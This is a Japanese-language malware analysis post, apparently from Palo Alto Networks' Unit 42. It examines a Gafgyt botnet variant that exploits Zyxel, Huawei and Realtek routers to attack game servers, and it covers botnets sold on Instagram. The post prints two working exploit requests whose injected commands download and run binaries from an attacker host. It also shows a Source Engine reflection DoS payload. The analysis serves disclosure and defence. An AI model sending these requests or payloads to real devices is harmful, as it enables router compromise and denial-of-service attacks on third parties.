This post is also available in: English (英語)
概要
2019年9月、パロアルトネットワークス脅威インテリジェンス調査チームUnit 42(旧Zingbox security research)は、日常的に実施しているプロアクティブなIoT脅威のハンティング中、IoTデバイスに感染しようとする新たなGafgytボットネットの亜種を発見しました。この亜種は、特にZyxel、Huawei、Realtekなどよく知られたメーカーの小規模オフィス/ホーム用無線LANルーターに感染しようとするもので、別のボットネット、JenXと競合するものです。両者はともに、リモートコード実行エクスプロイトによりアクセス権限を取得し、ルーターをボットネットに組み入れてゲームサーバー(特にValveのSource Engineが稼働するサーバー)を攻撃し、サービス拒否(DoS)を引き起こします。
今回発見されたGafgyt亜種はこのほかにも、Instagramでの販売が多数確認された類似ボットネットとも競合しています。Shodanのスキャンによれば、Gafgytのエクスプロイトに対して潜在的に脆弱な無線ルーターは、日本も含め世界中で3万2,000台以上にのぼり、以下に示すとおりGafgytはJenXよりも悪用する脆弱性が1つ多いことがわかっています。
- CVE-2017-18368: ZYXEL P660HN-T1A (このGafgyt亜種で新しく追加された脆弱性)
- CVE-2017-17215: Huawei HG532 (JenXでも悪用されている脆弱性)
- CVE-2014-8361: Realtek RTL81XX Chipset (JenXでも悪用されている脆弱性)
狙われるIoTデバイスは小規模オフィス/ホーム用無線LANルーター
2016年以降、あらゆる業種の組織に最も一般的に存在するIoTデバイスの1つとして無線LANルーターがIoTボットネットに狙われるようになりました。この結果、侵害を受けた企業の本番環境ネットワークやIPアドレスのレピュテーション(評判)が貶められていることが確認されています。また、典型的な辞書攻撃(ボットネットがtelnetなどのセキュリティ保護されていないサービスを介してデバイスにログインしようとする攻撃)に代えて、エクスプロイトを使用してIoTデバイスにアクセスするボットネットが登場してきています。たとえIoTデバイス管理者がセキュリティ保護されていないサービスを無効化し、強力なログインパスワードを適用していても、こうしたエクスプロイトが使用されれば、これらIoTデバイスを介してボットネットをより簡単に拡張できるようになります。
Gafgytは2014年に発見されたボットネットで、大規模DDoS(分散型サービス拒否)攻撃を開始できることから広く利用されるようになりました。それ以来、これは多くの亜種へと進化し、あらゆる業界のさまざまなデバイスを標的にしています。よく知られていることですが、ボットネットとゲームサーバーの間には強い関連性があります。すでにJenXという類似亜種に関するレポートがRadwareから公開されていますが、この類似亜種はCVE-2017-17215とCVE-2014-8361を悪用します。これらの脆弱性はそれぞれHuawei HG532、Realtek RTL81XXという無線LANルーターに存在しています。
今回、私たち調査チームは、更新されたGafgytマルウェアの亜種(SHA256: 676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07)が、JenXに由来する亜種であることを発見しました。また、サンプルの分析結果から、Gafgytが標的とする無線LANルーターの数は、元となったJenXマルウェアより1つ多く、3種類存在することを突き止めました。
- Zyxel P660HN-T1A: Gafgytで追加されたモデル
- Huawei HG532 : JenXと同じ標的モデル
- Realtek RTL81XX: JenXと同じ標的モデル
Gafgytは3つの「スキャナ」を使い、上記3つのルーターに存在する既知のリモートコード実行脆弱性をエクスプロイトしようとします。これらスキャナは、他のIoTボットネットでよく見られる典型的な辞書攻撃に代わるものです。
以前のGafgyt亜種でも無線LANルーターの脆弱性が悪用されていましたが、今回の亜種は次の3つの特定エクスプロイトを1つのサンプル内に併せ持っています。
- CVE-2017-18368: ZYXEL P660HN-T1A
- CVE-2017-17215: Huawei HG532
- CVE-2014-8361: Realtek RTL81XX Chipset
これらエクスプロイトは、感染対象デバイスの種類に応じ、悪意のあるサーバーから対応するバイナリを取得するバイナリドロッパーとして機能するよう、作成されています。
エクスプロイト1: CVE-2017-18368 (ZYXEL P660HN-T1A用)
最初のエクスプロイトは、Zyxel P660HN無線LANルーターに存在するリモートコマンドインジェクションの脆弱性を悪用します。このエクスプロイトは、前身となった亜種JenXでは使用されていなかったものです。TrueOnlineが提供するZyxel P660HN-T1Aには、リモートシステムのログ転送を行う関数にコマンドインジェクションの脆弱性が存在し、認証されていないユーザーによるアクセスを許します。この脆弱性はViewLog.aspページに存在し、次に示したようにremote_hostパラメーターを介して悪用される可能性があります。
1 2 3 4 5 6 7 8 9 10 |
POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 127.0.0.1Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Ankit Content-Length: 176 Content-Type: application/x-www-form-urlencoded remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_hos t=%3bcd+/tmp;wget+http://185.172.110[.]224/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save |
ペイロードはzyxelscanner_scanner_init()関数内に存在します。
エクスプロイト2: CVE-2017-17215 (Huawei HG532用)
2番目のエクスプロイトは、Huawei HG532ルーターで見つかったリモートコード実行の脆弱性を悪用します。攻撃者は、悪意のあるパケットを37215/tcpに送信することで攻撃を開始可能です。エクスプロイトに成功すると、任意のコードがリモートから実行される可能性があります。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: */* Authorization: Digest username=“dslf-config”, realm=“HuaweiHomeGateway”, nonce=“88645cefb1f9ede0e336e3569d75ee30”, uri=“/ctrlt/DeviceUpgrade_1”, response=“3612f843a42db38f48f59d2a3597e19c”, algorithm=“MD5”, qop=“auth”, nc=00000001, cnonce=“248d1a2560100669” <!--?xml version="1.0" encoding="UTF-8"?--><s:Envelope xmlns:s=“http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:Upgrade xmlns:u=“urn:schemas-upnp-org:service:WANPPPConnection:1”><NewStatusURL>$(/bin/busybox wget -g 185.172.110[.]224 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
エクスプロイトはhuaweiscanner_scanner_init()関数から確認できます。
エクスプロイト3: CVE-2014-8361 (Realtek RTL81XX Chipset用)
3番目のエクスプロイトは2014年にRealtekルーターの一部について報告された深刻な欠陥を突くもので、これによりリモートからコードが実行される可能性があります。原因はRealtek SDKが実装したminiigd SOAPサービスにあります。エクスプロイトに成功すると、巧妙に細工されたNewInternalClientリクエストを介して、リモートの攻撃者に任意のコードを実行される可能性があります。
この3番目のエクスプロイトは、 realtekscanner_scanner_init()関数内で見つかります。
感染
このJenX 亜種は、前述のスキャナ関数を使用して感染対象マシンを見つけ、wget(Webサーバーからコンテンツを取得するコンピュータプログラム)を使い、見つけたマシンの種類に応じてARM7ないしMIPSのバイナリをダウンロードします。
侵害デバイス上で実行開始したマルウェアは、バイナリのドロッパーサーバーでもあるC2サーバーに接続してデバイス情報を送信し、ボットネットに参加します。
このとき感染デバイスは、IPアドレスやアーキテクチャなど自身に関する情報をC2サーバーに送信します。引数としてマルウェアに名前が渡されなかった場合、感染デバイスにはUnknownという名前が付けられます。この後C2サーバーは PINGコマンドで応答します。
デバイスがボットネットに参加すると、さまざまな種類のDoS攻撃を実行するコマンドの受信を開始します。これらのコマンドについて次節以降で説明します。
DoS攻撃オプション
このGafgyt亜種は、C2サーバーから受信したコマンドに応じ、さまざまなDoS攻撃を同時に実行できます。マルウェアのmain()関数は別の関数processCmd()を呼び出してコマンドを処理し、対応する攻撃を開始します。以下は、特定された重要な攻撃オプションの一部です。
- HTTP: SendHTTP()関数を呼び出してHTTPフラッド攻撃を開始します。この関数は、攻撃実行用に6つのパラメーター(httpメソッド、ターゲットホスト、ポート、ファイルパス、終了時間、繰り返し回数)を受け取ります。このほか、プログラムで定義されたUser-Agentの1つをランダムに使用して攻撃を実行します。
- HTTPHex: HTTPに類似した攻撃オプションで、SendHTTPHex()関数を呼び出します。SendHTTPHex()関数はSendHTTP()関数と同じパラメータを要求しますが、通常のファイルパス(/index.htmlなど)の代わりにゴミデータの入った16進数配列を使用してサーバー上のリソースを消費し、枯渇させようとします。
- HTTPCF: Cloudflareが保護するサービスに対する攻撃を行います。
- KILLER & KILLATTK: 仮に感染デバイス上にすでに競合のボットネットが存在していればそれを削除します。
- VSE: ValveのSource Engineが稼働するゲームサーバーを攻撃するペイロードを含みます。
依然狙われるゲーム業界
前述のように、 VSEコマンドは、ValveのSource Engineを採用するゲームサーバーに対する攻撃を開始するものです。Source Engineをエンジンとして使うゲームには、Half-LifeやTeam Fortress 2があげられます。なお、これはValve Corporation自体に対する攻撃ではない点に注意してください。自前のネットワークにSource Engineを採用したゲームサーバーを立てることは誰にでもできますし、ここで説明する攻撃オプションは、これらのサーバーに対する攻撃のためのものです。以下は、Source Engineを使うゲームサーバーの攻撃用に使用されるペイロードです。
1 2 3 |
TSource Engine Query + /x54/x53/x6f/x75/x72/x63/x65/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/ x75/x65/x72/x79 rfdknjms |
ペイロードは次の内容にデコードされます。
このペイロードはDoSリフレクション攻撃(DRDoS)を引き起こすためによく利用されるもので、DRDoS攻撃では、複数の感染マシンを意図せずDDoS攻撃に参加させます。Source Engine Queryというのは、Valveソフトウェアプロトコルを使用するクライアント/ゲームサーバー間でやり取りされる定期的通信の1つです。感染ホストマシンへのリクエストは、感染ホストからターゲットホストにリダイレクト(リフレクト)され、この結果、攻撃トラフィック量が増幅され、ターゲットホストに対するサービス拒否攻撃が発生します。
このほか、VSE以外のDoS攻撃オプションを使用し、攻撃者は他にもFortniteなど広くプレイされているゲームをホスティングしているサーバーも標的にしています。
SNSがマルウェアのマーケットプレイスに
このサンプルで見つかった攻撃の1つに、同一デバイスに存在する競合ボットネットを探してkillしようとするものがあります。これにより、Gafgytを感染デバイスが参加する唯一のボットネットにしようとしています。このためにGafgytは他のIoTボットネット亜種に存在する特定のキーワードやバイナリ名を探します。これらのキーワードとバイナリはbin_names、bin_stringsという2つの組に分けられています。
識別できたなかで興味深かった文字列がchinese familyです。この文字列は、Gafgytマルウェアの前身となったJenXに関連しています。JenXは、Grand Theft Auto: San Andreasというゲームのホスティングサーバーを標的にするSan Calvicieというハッカーグループが拡散していたボットネットですが、このJenXが
gosh that chinese family at the other table sure ate a lot.
という文字列を出力するのです。
これら文字列の多くは、Hakai、Miori、Satori、悪名高いMiraiなど、他のIoTボットネットに関連したものでした。このほかには、Instagramでのユーザー名に対応するボットネットのビルドに関連する文字列も見られました。
調査チームが偽のプロフィールで作ったアカウントでこれらInstagramユーザーに連絡した結果、彼らがInstagramのアカウントを使って安価にボットネットを販売していることがわかりました。彼らは私たちに「8ドルから150ドルでサーバー上の『スポット』を提供できる」という話を持ちかけてきました。この「スポット」というのは「対価を払えば、稼働中のボットネットでDoS攻撃をかけるIPアドレスの対象に、任意のIPアドレスのセットを追加してもらえる」ということを意味しています。他にも彼らは「予算とニーズ次第で、さまざまな価格でボットネットのソースコードを提供できる」という話も持ちかけてきました。
※ Unit 42はInstagramチームにこれら悪意のあるユーザーアカウントについて報告済みです。ボットネットのサブスクリプション管理用に使用されている悪意のあるWebサイトについても報告済みです。
一部のユーザーは、ボットネットのサブスクリプション管理のために独自のWebサイトを持っています。
結論
私たち調査チームが発見した新たなボットネットであるGafgytは、JenXの亜種から派生したもので、IoTデバイスの既知の脆弱性(5年以上前のものを含む)を突くエクスプロイトを使い、侵害したIoTデバイスを大規模なボットネットの一部に組み込んで、ゲームサーバーを狙った攻撃を行います。その攻撃の主な目的はサボタージュや復讐です。
無線LANルーターはどの業種でも広く使用されていることから、こうした攻撃にとくに狙われやすいものとなっています。
お客様の環境を保護するため、弊社でもこうした新しいマルウェアの探索を常に行っています。IoTボットネットが攻撃対象とするホストの種類はこれまでと比べて広がっており、ゲームサーバーもそうした攻撃の標的になりやすいホストの1つです。
同様に、これまでマルウェア用マーケットプレイスといえばダークウェブや地下フォーラムのようなアンダーグラウンド系のものが多かったのですが、現在はSNS上での販売が行われるようになっています。マルウェアのサンプルやDoS攻撃用のコードは誰もが簡単に入手でき、たいした技術力がなくとも数ドルで大規模な攻撃を仕掛けることができます。
要するに、Instagramで販売されているIoTボットネットの増加、コストの低下、RCE(リモートコード実行)エクスプロイトの存在、すべての業種で普遍的に利用されている無線LANルーター、これらの要素がすべて合わさって、IoTデバイスがボットネットに組み込まれるリスクはいよいよ高まってきているということです。
これら諸要素は、すべての業界がIoTセキュリティを意識し、ネットワークデバイスへの侵害を防ぎ、ビジネスの継続性を保つ対策を講じる必要性を浮き彫りにしていると言えるでしょう。
IOC
前身となったJenXのサンプル:
- MD5: fb93601f8d4e0228276edff1c6fe635d
- SHA256: 04463cd1a961f7cd1b77fe6c9e9f5e18b34633f303949a0bb07282dedcd8e9dc
更新されたJenXのサンプル:
- MD5: f1c099d65bf94e009f5e65238caac468
- SHA256: 676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07
インフラ:
- 185.172.110[.]224:993
URL:
- 185.172.110[.]224/arm7
- 185.172.110[.]224/mips
このサンプルでHTTP攻撃に使われていたUser-Agent:
- Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1
- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko)
Chrome/19.0.1084.56 Safari/536.5 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko)
Chrome/20.0.1132.47 Safari/536.11 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML,
like Gecko) Version/5.1.7 Safari/534.57.2 - Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML,
like Gecko) Chrome/20.0.1132.47 Safari/536.11
上記User-Agentに加え、Gafgytボットネットの亜種はスキャナモジュール内でUser-Agent: Hello-WorldとUser-Agent: Ankitを使ってエクスプロイトのリクエストを送信します。